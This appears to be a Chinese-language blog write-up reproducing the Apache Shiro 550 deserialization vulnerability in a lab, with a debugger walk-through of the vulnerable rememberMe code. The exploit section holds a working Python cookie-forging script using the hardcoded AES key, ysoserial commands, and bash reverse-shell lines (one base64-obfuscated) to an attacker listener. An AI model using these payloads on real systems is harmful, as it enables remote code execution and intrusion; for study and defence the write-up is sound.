shiro 反序列化漏洞复现

漏洞详情

Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。

在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞。

Shiro 的 “记住我” 功能是设置 cookie 中的 rememberMe 值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索 cookie 中 RememberMe 的值
  2. Base64 解码
  3. 使用 AES 解密
  4. 反序列化

漏洞原因在于第三步,在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,于是我们就可以构造 RememberMe 的值,然后让其反序列化执行。

只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞。

环境搭建

Windows10 + IDEA

shiro 1.2.4

tomcat 8.5.73

下载 shiro 1.2.4

github地址: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

或者 clone shiro源码 , 切换 1.2.4 有漏洞的版本

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

使用 IDEA 进行环境搭建

打开 samples/web/pom.xml , 支持 jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<!-- 添加commons-collections4 -->
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

使用 IDEA 运行 , 先配置 运行环境

添加 TomcatSever (local) , 配置 Tomcat 路径

tomcat8 下载地址: https://tomcat.apache.org/download-80.cgi

添加部署工件samples-web:war

image-20211127120409881

详细配置信息

image-20211127120912994

运行截图

image-20211127121337330

使用 Vulhub Docker 搭建

1
2
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

image-20211127172017961

漏洞复现

payload生成过程

1
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

vulhub Docker 环境

使用ysoserial生成CommonsBeanutils1的Gadget:

1
2
java -jar ./ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
java -jar ./ysoserial.jar CommonsCollections2 "touch /tmp/success" > poc.ser

ysoserial 项目地址: https://github.com/frohoff/ysoserial

shiro 1.2.4 版本 , 使用的是默认key: kPH+bIxk5D2deZiIxcaaaA==

AES加密 cc链 , 为rememberMe的Cookie值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
# payload = encode_rememberme("touch /tmp/123456")
# with open("payload.cookie", "w") as fpw:
# print("rememberMe={}".format(payload.decode()), file=fpw)
print("rememberMe={}".format(payload.decode()))

运行脚本, 得到payload

1
python test.py "touch /tmp/123456"

发送请求包

1
2
// 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe
curl -X GET http://192.168.56.106:8080/ --cookie “xxxxxxxxxxxxx” -I

或者使用Burp抓包发送

image-20211127171801129

查看靶机, 可以看到已经生成了

image-20211127171631781

反弹shell

1
bash -i >& /dev/tcp/192.168.56.1/9090 0>&1

但是这条命令却没有成功执行, 应该是部分字符被编码导致的

bash命令 混淆, https://www.jackson-t.ca/runtime-exec-payloads.html

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}

成功接收命令 , 反弹shell成功

image-20211127193448038

windows 10 + IDEA

添加 commons-collections4 , 这样才能使用 CommonsCollections2 链 进行攻击

打开 samples/web/pom.xml

1
2
3
4
5
6
<dependency>
<!-- 添加commons-collections4 -->
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

使用 CommonsCollections2 链 ,

1
python .\test.py "ping 4bwtjr.dnslog.cn"

image-20211128125802999

漏洞原理

Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。

反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。

1
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

序列化过程

先找到 硬编码 key 的位置

1
org/apache/shiro/mgt/AbstractRememberMeManager.java

image-20211128141909881

向上溯源:找到RememberMeManager类的onSuccessfulLogin方法

onSuccessfulLogin : 处理成功登录的过程

image-20211128142133893

在这里下一个断点 , 调试运行

浏览器登录 , 查看 调试信息

ps : 记得勾选 rememberMe

image-20211128142417090

IDEA 调试信息

image-20211128142028947

跳转进入 forgetIdentity 函数 ,

继续跟进this.forgetIdentity方法,进入了getCookie的removeFrom方法

image-20211128144648004

跟进removeFrom方法

image-20211128152117310

这里获取看配置信息,最后 addCookieHeader 放到了返回包中的cookie头中,

其中就有熟悉的 deleteMe 字段和 rememberMe 字段,

继续回到 onSuccessfulLogin 方法 , 这个isRememberMe主要是检查选择了remember me这个按钮没有

image-20211128151657293

在rememberIdentity方法中,authcInfo的值就是我们输入root用户名

image-20211128171331211

进入convertPrincipalsToBytes方法,发现它会序列化,而且序列化的是传入的root用户名

然后就是进行普通的序列化操作,再然后调用encrypto方法加密序列化后的二进制字节

image-20211128194709551

getCipherService 获取加密服务 , 加密方法为 AES/CBC/PKCS5Padding

image-20211128194925238

getEncryptionCipherKey() 方法 获取 加密密钥KEY

经过一系列跳转后, 拿到KEY

image-20211128200340907

DEFAULT_CIPHER_KEY_BYTES : kPH+bIxk5D2deZiIxcaaaA==

1
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());

传入 encrypt 函数 (root , “kPH+bIxk5D2deZiIxcaaaA==”)

回到 rememberIdentity 方法

image-20211128202720569

跟进 rememberSerializedIdentity 方法 , 进行SetCookie

image-20211128203539827

反序列化过程

在 getRememberedPrincipals 方法下断点

image-20211128211236196

跟进getRememberedSerializedIdentity 方法 , 读取 Cookie 中的数据

image-20211128211654882

readValue方法, 读取 Cookie中的字段 namerememberMe

image-20211128212002314

然后把Cookie 赋值给 value , 返回上一级函数

image-20211128212219222

对base64 进行解码

image-20211128212320888

  • 再次回到AbstractRememberMeManager 类

image-20211128212553932

  • 进入 convertBytesToPrincipals 方法,这就是对应加密的解析数据,中间肯定要解密数据,继续跟入

image-20211128183416284

跟进 decrypt 解密函数

image-20211128212956390

getCipherService() 获取 加解密 方法, AES/CBC/PKCS5Padding

image-20211128213711157

getDecryptionCipherKey() 获取 解密KEY , kPH+bIxk5D2deZiIxcaaaA==

跟进 JcaCipherService 的decrypt 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
byte[] encrypted = ciphertext;
byte[] iv = null;
if (isGenerateInitializationVectors(false)) {
try {
int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}

return decrypt(encrypted, key, iv);
}

image-20211128214031646

1
return decrypt(encrypted, key, iv);

跟进 这个 decrypt 函数 ,

image-20211128214357676

跟到 JcaCipherService 中的 crypt 方法

image-20211128214448781

1
2
javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false);
return crypt(cipher, bytes);

crypt(cipher, bytes) 完成解密 , 然后跳转回convertBytesToPrincipals函数 , 进行序列化操作

image-20211128215221725

跟进 deserialize() 函数

image-20211128215342423

继续跟进, 能看到 熟悉的 反序列化操作

image-20211128215528473

好了, 到这里 , 漏洞原理复现就全部结束了


参考文章

https://xz.aliyun.com/t/8445

https://www.jianshu.com/p/a53e5b17d7a6

https://fireline.fun/2021/05/21/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(%E4%B8%80)-Shiro550/

https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/